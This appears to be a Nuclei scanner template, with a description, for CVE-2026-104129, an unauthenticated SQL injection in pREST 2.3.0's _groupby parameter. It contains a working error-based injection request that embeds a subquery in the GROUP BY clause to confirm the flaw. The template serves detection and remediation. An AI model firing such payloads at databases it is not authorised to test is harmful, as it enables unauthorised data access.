pREST 2.3.0 contains a SQL injection vulnerability in the _groupby query parameter of the table select endpoint. GroupByClause in adapters/postgres/postgres.go treats any _groupby field that contains parentheses as a raw SQL expression and only checks it with isSafeSQLExpression. This check validates the outer function name against a small allowlist but accepts nested subqueries, inner function calls and trailing UNION syntax, and the expression is concatenated into the GROUP BY clause. The advisory lists versions up to and including 2.3.0, but the function expression branch was added in 2.3.0 and earlier releases accept only quoted identifiers in _groupby. Authentication is disabled in the default configuration, so default deployments are exposed without credentials. This is an incomplete fix of CVE-2025-58450.
id: CVE-2026-104129
info:
name: pREST 2.3.0 - SQL Injection via _groupby
author: s4e-io
severity: high
description: |
pREST 2.3.0 contains a SQL injection vulnerability in the _groupby query parameter of the table select endpoint. GroupByClause in adapters/postgres/postgres.go treats any _groupby field that contains parentheses as a raw SQL expression and only checks it with isSafeSQLExpression. This check validates the outer function name against a small allowlist but accepts nested subqueries, inner function calls and trailing UNION syntax, and the expression is concatenated into the GROUP BY clause. The advisory lists versions up to and including 2.3.0, but the function expression branch was added in 2.3.0 and earlier releases accept only quoted identifiers in _groupby. Authentication is disabled in the default configuration, so default deployments are exposed without credentials. This is an incomplete fix of CVE-2025-58450.
impact: |
Unauthenticated attackers can run arbitrary subqueries against the PostgreSQL database behind pREST, read data through database error messages and cause denial of service with delay functions.
remediation: |
Upgrade pREST to version 2.4.0 or later. Enable JWT authentication and restricted table access as a defense in depth.
reference:
- https://github.com/prest/prest/security/advisories/GHSA-v9v2-98xq-627c
- https://github.com/prest/prest/commit/084348fa82701b098492fc520557ff290b7691e2
- https://github.com/prest/prest/releases/tag/v2.4.0
- https://nvd.nist.gov/vuln/detail/CVE-2026-104129
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
cvss-score: 8.1
cve-id: CVE-2026-104129
epss-score: 0.01503
epss-percentile: 0.74633
cwe-id: CWE-89
metadata:
verified: true
vendor: prest
product: prest
tags: cve,cve2026,prest,postgres,sqli,unauth,intrusive
flow: |
if (http(1)) {
for (let db of iterate(template["datname"])) {
set("db", db);
if (http(2)) {
break;
}
}
}
http:
- raw:
- |
GET /databases HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "application/json")'
- 'starts_with(body, "[{\"datname\":")'
condition: and
internal: true
extractors:
- type: regex
name: datname
group: 1
regex:
- '"datname": ?"([A-Za-z0-9_-]+)"'
internal: true
- raw:
- |
GET /{{db}}/information_schema/tables?_count=*&_groupby=abs((SELECT%20CAST(md5('{{randstr}}')%20AS%20int))) HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'status_code == 400'
- 'contains(content_type, "application/json")'
- 'contains_all(body, "invalid input syntax for type integer", md5("{{randstr}}"))'
condition: and
# digest: 4a0a00473045022010becee2b482c134c9e56941ecdb7732d10e001867b13e67e9e3452bdd816442022100f32b52f7f90b2430723a3bc444b86ffde4791c08b9190c500a185f312ee4a889:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.